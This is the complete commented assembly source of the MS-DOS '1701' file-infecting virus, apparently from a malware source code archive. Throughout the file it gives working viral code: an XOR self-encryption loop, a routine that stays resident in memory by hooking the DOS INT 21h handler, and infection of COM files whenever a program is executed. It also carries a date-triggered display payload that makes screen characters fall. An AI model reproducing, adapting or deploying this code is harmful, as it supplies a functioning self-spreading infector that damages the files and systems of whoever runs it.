MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.v1701.asm
2021-01-12 18:04:54 -06:00

937 lines
16 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

L0004: CALL L0007 ; PUSH BEGIN ADDRESS
L0007: POP BX ; POP ADDRESS
SUB BX,0131H ; CALC DATA POINT
TEST BYTE PTR CS:[BX+012AH],01H ; ENCODE VIRUS ?
JE L0023 ; VIRUS IS ENCODING. START
LEA SI,[BX+014DH] ; START ADDRES FOR ENCODE
MOV SP,0682H ; SIZE OF VIRUS
L001B: XOR [SI],SI ; ENCODE ONE BYTE
XOR [SI],SP
INC SI ; ADDRESS OF NEXT BYTE
DEC SP ; LAST BYTE ?
JNE L001B ; NO. ENCODE NEXT BYTE
L0023: MOV SP,BP ; RESTORE STACK
JMP SHORT L0076
NOP
ADD [BX+DI],AL
ESC 09,[SI]
L002C: DW 0000H
DEC BP ;DB 4DH
POP DX ;DB 5AH
ADD BYTE PTR [BX+SI],00H
DEC BX
INC WORD PTR [BX+SI]
DB 0F0H
ADC [BP+DI],AX
MOV DL,0BH
INC BP
ADC AL,26H
ADD AL,[BX+SI]
ADD [BX+SI],AH
ADD [BX+SI+12H],DH
MOV BH,65H
MOV CX,2A41H
JNP LFFCC
INC BP
L004D: DW 0000H
JMP L0BD4 ;DB 0E9H,82H,0BH
L0052: DW 2 DUP(0000H)
ADD [BX+SI],CL ;DB 00H,08H
L0058: DW 2 DUP(0000H)
AND AL,[BX+DI] ;DB 22H,01H
POP ES ;DB 07H
ADD AL,[BX] ;DB 02H,07H
ADD AL,[BX+SI] ;DB 02H,00H
ADD [BX+DI],AL ;DB 00H,01H
ADD [BX+DI+8518H],BL ;DB 00H,99H,18H,85H
ADD AL,00H ;DB 04H,00H
XOR BYTE PTR [SI],92H ;DB 80H,34H,92H
XOR AL,13H ;DB 34H,13H
ADD [BX+DI],AL
ADC AL,14H
SUB [BX+SI],BP
L0076: CALL L0079 ; PUSH ADDRES
L0079: POP BX ; POP ADDRES TO BX
SUB BX,01A3H ; CALC DATA POINT
MOV CS:[BX+0154H],CS ; SAVE CURRENT SEGMENT
MOV CS:[BX+0156H],AX ; SAVE AX
MOV AX,CS:[BX+0158H]
MOV WORD PTR DS:[0100H],AX
MOV AL,CS:[BX+015AH]
MOV BYTE PTR DS:[0102H],AL
PUSH BX ; PUSH DATA POINT
MOV AH,30H ; GET DOS VERSION
INT 21H
L009D: POP BX ; POP DATA POINT
CMP AL,02H ; INCORECT DOS VERSION ?
JB L00B3 ; YES. EXECUTE PROGRAM
MOV AX,4BFFH ; THE VIRUS IS ACTIVE IN MEMORY ?
XOR DI,DI
XOR SI,SI
INT 21H
L00AB: CMP DI,55AAH ; SPECIAL CODE ?
JNE L00C0 ; NO. INSERT VIRUS IN MEMORY
JB L00C9 ; ???
L00B3: STI
PUSH DS
POP ES
MOV AX,CS:[BX+0156H]
JMP DWORD PTR CS:[BX+0152H]
L00C0: PUSH BX ; SAVE BX
MOV AX,3521H ; GET INT21 ADDRESS IN ES:BX
INT 21H
MOV AX,BX
POP BX ; RESTORE BX
L00C9: MOV CS:[BX+0161H],AX ; STORE INT21 ADDRESS
MOV CS:[BX+0163H],ES
MOV AX,0F000H ; 'BIOS' SEGMENT
MOV ES,AX
MOV DI,0E008H ; OFFSET 'COPR. IBM',0
CMP WORD PTR [DI],4F43H ; CHECK ORIGINAL NAME
JNE L00FC
CMP WORD PTR [DI+02H],5250H
JNE L00FC
CMP WORD PTR [DI+04H],202EH
JNE L00FC
CMP WORD PTR [DI+06H],4249H
JNE L00FC
CMP WORD PTR [DI+08H],004DH
JE L00B3 ; ORIGINAL COMPUTER. CAN'T INSERT VIRUS
L00FC: MOV AX,007BH ; SIZE OF VIRUS 'MCB'
MOV BP,CS ; PROGRAM 'MCB' SEGMENT
DEC BP
MOV ES,BP
MOV SI,CS:[0016H]
MOV ES:[0001H],SI
MOV DX,ES:[0003H] ; GET BLOCK SIZE
MOV WORD PTR ES:[0003H],AX ; NEW BLOCK SIZE
MOV BYTE PTR ES:[0000H],4DH ; MIDDLE BLOCK
SUB DX,AX ; CALC NEW SIZE OF PROGRAM MEMORY BLOCK
DEC DX
INC BP ; PSP SEGMENT
ADD BP,AX ; NEW 'PSP' OF PROGRAM
INC BP
MOV ES,BP ; SEGMENT OF 'PSP'
PUSH BX ; SET NEW SEGMENT OF 'PSP'
MOV AH,50H
MOV BX,BP
INT 21H
L012D: POP BX
XOR DI,DI ; NEW SEGMENT OF STACK
PUSH ES ; PUSH 0
POP SS
PUSH DI
LEA DI,[BX+07CEH] ; ADDRES OF VIRUS
MOV SI,DI ; MOVE VIRUS
MOV CX,06A5H
STD
REPZ MOVSB
PUSH ES ; EXEC VIRUS IN NEW SEGMENT
LEA CX,[BX+0270H]
PUSH CX
RETF
L0146: MOV CS:[BX+0154H],CS ; SAVE NEW SEGMENT
LEA CX,[BX+012AH] ; SIZE PROGRAM
REPZ MOVSB ; MOVE PROGRAM
MOV CS:[0036H],CS ; STORE CS ???
DEC BP ; NEW 'MCB' SEGMENT
MOV ES,BP
MOV ES:[0003H],DX ; NEW SIZE OF BLOCK
MOV BYTE PTR ES:[0000H],5AH ; 'LAST' BLOCK
MOV ES:[0001H],CS ; 'PSP' SEGMENT
INC BP ; 'PSP' SEGMENT
MOV ES,BP
PUSH DS ; ES = NEW VIRUS SEGMENT
POP ES
PUSH CS ; DS = CURENT VIRUS SEGMENT
POP DS
LEA SI,[BX+012AH] ; BEGIN VIRUS
MOV DI,0100H ; BEGIN IN NEW SEGMENT
MOV CX,06A5H ; VIRUS SIZE
CLD
REPZ MOVSB ; MOVE VIRUS
PUSH ES ; EXECUTE VIRUS IN NEW SEGMENT
LEA AX,DS:[0284H]
PUSH AX
RETF
L0184: MOV WORD PTR CS:[002CH],0000H ; CLEAR ENVIROMENT OF VIRUS
MOV CS:[0016H],CS
PUSH DS ; PUSH DS
LEA DX,DS:[031CH] ; L021C - VIRUS INT21 DRIVER
PUSH CS
POP DS ; SET NEW INT21 VECTOR
MOV AX,2521H
INT 21H
L019C: POP DS ; POP DS
MOV AH,1AH ; SET NEW 'DTA'
MOV DX,0080H
INT 21H
L01A4: CALL L039A
MOV AH,2AH ; GET DATE : CX - YEAR ,
INT 21H ; DH - MONTH , DL - DAY
L01AB: CMP CX,07C4H ; COMPARE WIDTH 1988 ?
JNBE L0216 ; YEAR IS > 1988 ?
JE L01DD ; YEAR IS 1988 ?
CMP CX,07BCH ; YEAR IS 1980 ?
JNE L0216 ; NO ?
PUSH DS ; STORE DS
MOV AX,3528H ; GET ADDRESS INT28
INT 21H
L01BF: MOV CS:[013BH],BX ; SAVE ADDRESS
MOV CS:[013DH],ES
MOV AX,2528H ; SET NEW INT28
MOV DX,0722H ; L0622 - INT28 DRIVER
PUSH CS
POP DS
INT 21H
L01D3: POP DS ; RESTORE DS
OR BYTE PTR CS:[0157H],08H ; SET 'SHOW' STATUS
JMP SHORT L01E2
NOP
L01DD: CMP DH,0AH ; 1988, OCTOBER ?
JB L0216
L01E2: CALL L0462
MOV AX,1518H
CALL L036F
INC AX
MOV WORD PTR CS:[015EH],AX
MOV WORD PTR CS:[0160H],AX
MOV WORD PTR CS:[0164H],0001H
MOV AX,351CH ; GET ADDRESS INT1C - TIMER
INT 21H
L0200: MOV CS:[0133H],BX ; SAVE ADDRESS
MOV CS:[0135H],ES
PUSH DS ; SET NEW INT1C
MOV AX,251CH
MOV DX,06BDH ; L05BD - INT1C DRIVER
PUSH CS
POP DS
INT 21H
L0215: POP DS
L0216: MOV BX,0FFD6H
JMP L00B3
; ============== INT 21 DRIVER ==============
L021C: CMP AH,4BH ; EXEC FUNCTION ?
JE L0231
L0221: JMP DWORD PTR CS:[0137H] ; JUMP TO ORIGINAL INT21
L0226: MOV DI,55AAH ; SPECIAL CODE
LES AX,DWORD PTR CS:[0137H] ; ES:AX - ORIGINAL INT21 VECTOR
MOV DX,CS ; DX - VIRUS SEGMENT
IRET ; RETURN
L0231: CMP AL,0FFH ; SPECIAL FUNCTION ?
JE L0226
CMP AL,00H ; EXEC PROGRAM ?
JNE L0221 ; NO. QUIT
PUSHF ; SAVE REGISTERS
L023A: DB 'PSQRVWU'
PUSH ES
PUSH DS
MOV CS:[0147H],DX ; SAVE FILE NAME
MOV CS:[0149H],DS
PUSH CS ; ES = CURENT SEGMENT
POP ES
MOV AX,3D00H ; OPEN FILE
INT 21H
L0254: JB L02AC ; ERROR ?
MOV BX,AX ; SAVE FP
MOV AX,5700H ; GET TIME & DATE OF FILE
INT 21H
L025D: MOV CS:[0143H],DX ; SAVE TIME & DATE
MOV CS:[0145H],CX
MOV AH,3FH ; READ FIRS 3 BYTES FROM FILE
PUSH CS
POP DS
MOV DX,012EH
MOV CX,0003H
INT 21H
L0273: JB L02AC ; \
CMP AX,CX ; > ERROR ?
JNE L02AC ; /
MOV AX,4202H ; GET FILE SIZE
XOR CX,CX
XOR DX,DX
INT 21H
L0282: MOV WORD PTR CS:[014BH],AX ; SAVE FILE SIZE
MOV CS:[014DH],DX
MOV AH,3EH ; CLOSE FILE
INT 21H
L028F: CMP WORD PTR CS:[012EH],5A4DH ; 'EXE' FILE ?
JNE L029B ; NO. INFECT ...
JMP L0362 ; QUIT
L029B: CMP WORD PTR CS:[014DH],+00H ; SIZE OF FILE > 65535 ?
JNBE L02AC ; YES. QUIT
CMP WORD PTR CS:[014BH],0F93BH ; SIZE OF FILE > 63803 ?
JBE L02AF ; YES. QUIT
L02AC: JMP L0362 ; QUIT
L02AF: CMP BYTE PTR CS:[012EH],0E9H ; FIRST BYTE IS 'JUMP' CODE ?
JNE L02C5 ; NO. INFECT
MOV AX,WORD PTR CS:[014BH] ; AX = NEXT WORD - 1703
ADD AX,0F959H ; (TWO BYTES FOR JUMP OFFSET)
CMP AX,CS:[012FH] ; AX = FILE SIZE ?
JE L02AC ; YES. QUIT
L02C5: MOV AX,4300H ; GET FILE ATTRIBUTE
LDS DX,DWORD PTR CS:[0147H]
INT 21H
L02CF: JB L02AC ; ERROR ?
MOV CS:[0141H],CX ; SAVE ATTRIBUTE ?
XOR CL,20H ; CHANGE ATTRIBUTE ?
TEST CL,27H
JE L02E7
MOV AX,4301H ; SET NEW ATTRIBUTE
XOR CX,CX
INT 21H
L02E5: JB L02AC ; ERROR ?
L02E7: MOV AX,3D02H ; OPEN FILE - READ/WRITE MODE
INT 21H
L02EC: JB L02AC ; ERROR ?
MOV BX,AX ; SAVE FP
MOV AX,4202H ; MOVE FP TO END OF FILE
XOR CX,CX
XOR DX,DX
INT 21H
L02F9: CALL L064C ; WRITE VIRUS CODE
JNB L0316 ; ERROR ?
MOV AX,4200H ; MOVE FP TO BEGIN VIRUS
MOV CX,CS:[014DH]
MOV DX,CS:[014BH]
INT 21H
L030D: MOV AH,40H ; CUT FILE (ERASE VIRUS)
XOR CX,CX
INT 21H
L0313: JMP SHORT L0336 ; QUIT
NOP
L0316: MOV AX,4200H ; MOVE FP TO BEGIN FILE
XOR CX,CX
XOR DX,DX
INT 21H
L031F: JB L0336
MOV AX,WORD PTR CS:[014BH] ; CALC 'JUMP' WORD
ADD AX,0FFFEH
MOV WORD PTR CS:[0150H],AX ; SAVE 'JUMP' WORD
MOV AH,40H ; WRITE 'JUMP' CODE - 3 BYTES
MOV DX,014FH
MOV CX,0003H
INT 21H
L0336: MOV AX,5701H ; SET OLD TIME & DATA OF FILE
MOV DX,CS:[0143H]
MOV CX,CS:[0145H]
INT 21H
L0345: MOV AH,3EH ; CLOSE FILE
INT 21H
L0349: MOV CX,CS:[0141H] ; SET OLD ATTRIBUTES ?
TEST CL,07H
JNE L0358
TEST CL,20H
JNE L0362
L0358: MOV AX,4301H ; SET OLD ATTRIBUTES
LDS DX,DWORD PTR CS:[0147H]
INT 21H
L0362: POP DS ; POP REGISTERS
L0363: DB 07H,']_^ZY[X'
POPF
JMP L0221 ; EXEC FILE
L036F: PUSH DS ; SAVE DS
PUSH CS ; DS = CS
POP DS
PUSH BX ; PUSH REGISTERS
PUSH CX
PUSH DX
PUSH AX ; SAVE ARGUMENT
MOV CX,0007H ; SIZE OF ARRAY
MOV BX,0174H ; ADDRESS OF END OF ARRAY
PUSH WORD PTR [BX] ; SAVE LAST ELEMENT
L037E: MOV AX,[BX-02H] ; ARRAY[I] = ARRAY[I-1]
ADC [BX],AX
DEC BX
DEC BX
LOOP L037E
POP AX ; CALC LAST ELEMENT
ADC [BX],AX
MOV DX,[BX] ; GET LAST ELEMENT
POP AX ; POP ARGUMENT
OR AX,AX ; ARGUMENT IS NULL ?
JE L0393
MUL DX ; MUL RANDOM WORD
L0393: MOV AX,DX ; RETURN RANDOM WORD
POP DX ; RESTORE REGISTERS
POP CX
POP BX
POP DS
RET
L039A: PUSH DS
PUSH ES
PUSH SI
PUSH DI
PUSH CX
PUSH CS
POP ES
MOV CX,0040H
MOV DS,CX
MOV DI,0166H
MOV SI,006CH
MOV CX,0008H
CLD
REPZ MOVSW
POP CX
POP DI
POP SI
POP ES
POP DS
RET
L03B8: PUSH SI
PUSH DS
PUSH DX
MOV AL,DH
MUL BYTE PTR DS:[0152H]
MOV DH,00H
ADD AX,DX
SHL AX,1
ADD AX,DS:[015AH]
MOV SI,AX
TEST BYTE PTR DS:[0154H],0FFH
MOV DS,DS:[0158H]
JE L03EA
MOV DX,03DAH
CLI
L03DC: IN AL,DX
TEST AL,08H
JNE L03EA
TEST AL,01H
JNE L03DC
L03E5: IN AL,DX
TEST AL,01H
JE L03E5
L03EA: LODSW
STI
POP DX
POP DS
POP SI
RET
L03F0: PUSH DI
PUSH ES
PUSH DX
PUSH BX
MOV BX,AX
MOV AL,DH
MUL BYTE PTR DS:[0152H]
MOV DH,00H
ADD AX,DX
SHL AX,1
ADD AX,DS:[015AH]
MOV DI,AX
TEST BYTE PTR DS:[0154H],0FFH
MOV ES,DS:[0158H]
JE L0425
MOV DX,03DAH
CLI
L0417: IN AL,DX
TEST AL,08H
JNE L0425
TEST AL,01H
JNE L0417
L0420: IN AL,DX
TEST AL,01H
JE L0420
L0425: MOV AX,BX
STOSB
STI
POP BX
POP DX
POP ES
POP DI
RET
L042E: PUSH CX
L042F: PUSH CX
MOV CX,DS:[015CH]
L0434: LOOP L0434
POP CX
LOOP L042F
POP CX
RET
L043B: PUSH AX
IN AL,61H
XOR AL,02H
AND AL,0FEH
OUT 61H,AL
POP AX
RET
L0446: CMP AL,00H
JE L0454
CMP AL,20H
JE L0454
CMP AL,0FFH
JE L0454
CLC
RET
L0454: STC
RET
L0456: CMP AL,0B0H
JB L0460
CMP AL,0DFH
JNBE L0460
STC
RET
L0460: CLC
RET
L0462: PUSH DS
MOV AX,0040H
MOV DS,AX
STI
MOV AX,WORD PTR DS:[006CH]
L046C: CMP AX,DS:[006CH]
JE L046C
XOR CX,CX
MOV AX,WORD PTR DS:[006CH]
L0477: INC CX
JE L048F
CMP AX,DS:[006CH]
JE L0477
L0480: POP DS
MOV AX,CX
XOR DX,DX
MOV CX,000FH
DIV CX
MOV WORD PTR CS:[015CH],AX
RET
L048F: DEC CX
JMP SHORT L0480
L0492: MOV BYTE PTR DS:[0153H],18H
PUSH DS ; GET CURENT VIDEO PAGE
MOV AX,0040H
MOV DS,AX
MOV AX,WORD PTR DS:[004EH]
POP DS
MOV WORD PTR DS:[015AH],AX ; SAVE CURENT VIDEO PAGE
MOV DL,0FFH ; EGA CHARACTER GENERATOR FUNC
MOV AX,1130H
MOV BH,00H
PUSH ES
PUSH BP
INT 10H
POP BP
POP ES
CMP DL,0FFH
JE L04BA
MOV DS:[0153H],DL
L04BA: MOV AH,0FH
INT 10H
L04BE: MOV DS:[0152H],AH
MOV BYTE PTR DS:[0154H],00H
MOV WORD PTR DS:[0158H],0B000H
CMP AL,07H
JE L0507
JB L04D6
JMP L05B6
L04D6: MOV WORD PTR DS:[0158H],0B800H
CMP AL,03H
JNBE L0507
CMP AL,02H
JB L0507
MOV BYTE PTR DS:[0154H],01H
MOV AL,BYTE PTR DS:[0153H]
INC AL
MUL BYTE PTR DS:[0152H]
MOV WORD PTR DS:[0162H],AX
MOV AX,WORD PTR DS:[0164H]
CMP AX,DS:[0162H]
JBE L0501
MOV AX,WORD PTR DS:[0162H]
L0501: CALL L036F
INC AX
MOV SI,AX
L0507: XOR DI,DI
L0509: INC DI
MOV AX,WORD PTR DS:[0162H]
SHL AX,1
CMP DI,AX
JBE L0516
JMP L05B6
L0516: OR BYTE PTR DS:[0157H],02H
MOV AL,BYTE PTR DS:[0152H]
MOV AH,00H
CALL L036F
MOV DL,AL
MOV AL,BYTE PTR DS:[0153H]
MOV AH,00H
CALL L036F
MOV DH,AL
CALL L03B8
CALL L0446
JB L0509
CALL L0456
JB L0509
MOV BYTE PTR DS:[0155H],AL
MOV DS:[0156H],AH
MOV CL,DS:[0153H]
MOV CH,00H
L0549: INC DH
CMP DH,DS:[0153H]
JNBE L05A3
CALL L03B8
CMP AH,DS:[0156H]
JNE L05A3
CALL L0446
JB L0587
L055F: CALL L0456
JB L05A3
INC DH
CMP DH,DS:[0153H]
JNBE L05A3
CALL L03B8
CMP AH,DS:[0156H]
JNE L05A3
CALL L0446
JNB L055F
CALL L043B
DEC DH
CALL L03B8
MOV BYTE PTR DS:[0155H],AL
INC DH
L0587: AND BYTE PTR DS:[0157H],0FDH
DEC DH
MOV AL,20H
CALL L03F0
INC DH
MOV AL,BYTE PTR DS:[0155H]
CALL L03F0
JCXZ L05A1
CALL L042E
DEC CX
L05A1: JMP SHORT L0549
L05A3: TEST BYTE PTR DS:[0157H],02H
JE L05AD
JMP L0509
L05AD: CALL L043B
DEC SI
JE L05B6
JMP L0507
L05B6: IN AL,61H
AND AL,0FCH
OUT 61H,AL
RET
; ============== INT 1C DRIVER ==============
L05BD: TEST BYTE PTR CS:[0157H],09H ; SHOW ?
JNE L061D ; NO. EXEC ORIGINAL INT1C
OR BYTE PTR CS:[0157H],01H ; CLEAR SHOW STATUS
DEC WORD PTR CS:[015EH] ; DECREMENT COUNTER
JNE L0617 ; FAILING LETERS ?
PUSH DS ; SAVE DS & ES
PUSH ES
PUSH CS ; DS = CS
POP DS
PUSH CS ; ES = DS
POP ES
L05D7: DB 'PSQRVWU' ; PUSH REGISTERS
MOV AL,20H ; NO INTERUPTS
OUT 20H,AL
MOV AX,WORD PTR DS:[0160H]
CMP AX,0438H
JNB L05EE
MOV AX,0438H
L05EE: CALL L036F ; CALC RANDOM WORD FOR TIMER
INC AX
MOV WORD PTR DS:[015EH],AX ; STORE NEW COUNTER
MOV WORD PTR DS:[0160H],AX
CALL L0492
MOV AX,0003H
CALL L036F
INC AX
MUL WORD PTR DS:[0164H]
JNB L060B
MOV AX,0FFFFH
L060B: MOV WORD PTR DS:[0164H],AX
L060E: DB ']_^ZY[X' ; RESTORE REGISTERS
POP ES
POP DS
L0617: AND BYTE PTR CS:[0157H],0FEH ; SET SHOW STATUS
L061D: JMP DWORD PTR CS:[0133H] ; EXEC OROGINAL INT1C
TEST BYTE PTR CS:[0157H],08H
JE L0647
; ============== INT 28 DRIVER ==============
L0622: PUSH AX ; SAVE REGISTERS
PUSH CX
PUSH DX
MOV AH,2AH ; GET DATE
INT 21H
L0631: CMP CX,07C4H ; COMPARE WIDTH 1988
JB L0644 ; YEAR IS < 1988 ? - NO SHOW
JNBE L063E ; YEAR IS > 1988 ? - SET FLAG FOR SHOW
CMP DH,0AH ; YEAR IS 1988. MONTH IS < OCTOBER ?
JB L0644 ; YES. NO SHOW
L063E: AND BYTE PTR CS:[0157H],0F7H ; SET SHOW FLAG
L0644: POP DX ; RESTORE REGISTERS
POP CX
POP AX
L0647: JMP DWORD PTR CS:[013BH] ; EXECUTING ORIGINAL INT28
L064C: PUSH ES
PUSH BX
MOV AH,48H ; GET MEMORY - 1712 BYTES
MOV BX,006BH
INT 21H
L0655: POP BX
JNB L065B ; NO ERROR ?
L0658: STC ; ERROR - QUIT
POP ES
RET
L065B: MOV BYTE PTR CS:[0100H],01H
L0661: MOV ES,AX ; ES = NEW MEMORY SEGMENT
PUSH CS ; DS = VIRUS SEGMENT
POP DS
XOR DI,DI ; MOVE VIRUS CODE TO NEW SEGMENT
MOV SI,0100H
MOV CX,06A5H ; SIZE OF VIRUS - 1701 BYTES
CLD
REPZ MOVSB
MOV DI,0023H ; BEGIN FOR CODING V.CODE
MOV SI,0123H ; CALC CODING WORD
ADD SI,DS:[014BH]
MOV CX,0682H ; SIZE OF CODING CODE - 1666 BYTES
L067D: XOR ES:[DI],SI ; CODING BYTE
XOR ES:[DI],CX
INC DI ; ADDRESS OF NAXT BYTE
INC SI
LOOP L067D ; CODING NEXT BYTE
MOV DS,AX ; SEGMENT OF CODING CODE
MOV AH,40H ; WRITE CODE
XOR DX,DX
MOV CX,06A5H ; SIZE CODE - 1701 BYTES
INT 21H
L0692: PUSHF
PUSH AX
MOV AH,49H ; FREE BLOCK
INT 21H
L0698: POP AX
POPF
PUSH CS
POP DS
JB L0658 ; ERROR IN WRITING ?
CMP AX,CX ; ALL BYTES IS WRITING ?
JNE L0658
POP ES ; RETURN - NO ERRORS
CLC
RET
L06A5: JB L0661
CMP AX,CX
JNE L0661
POP ES
CLC
RET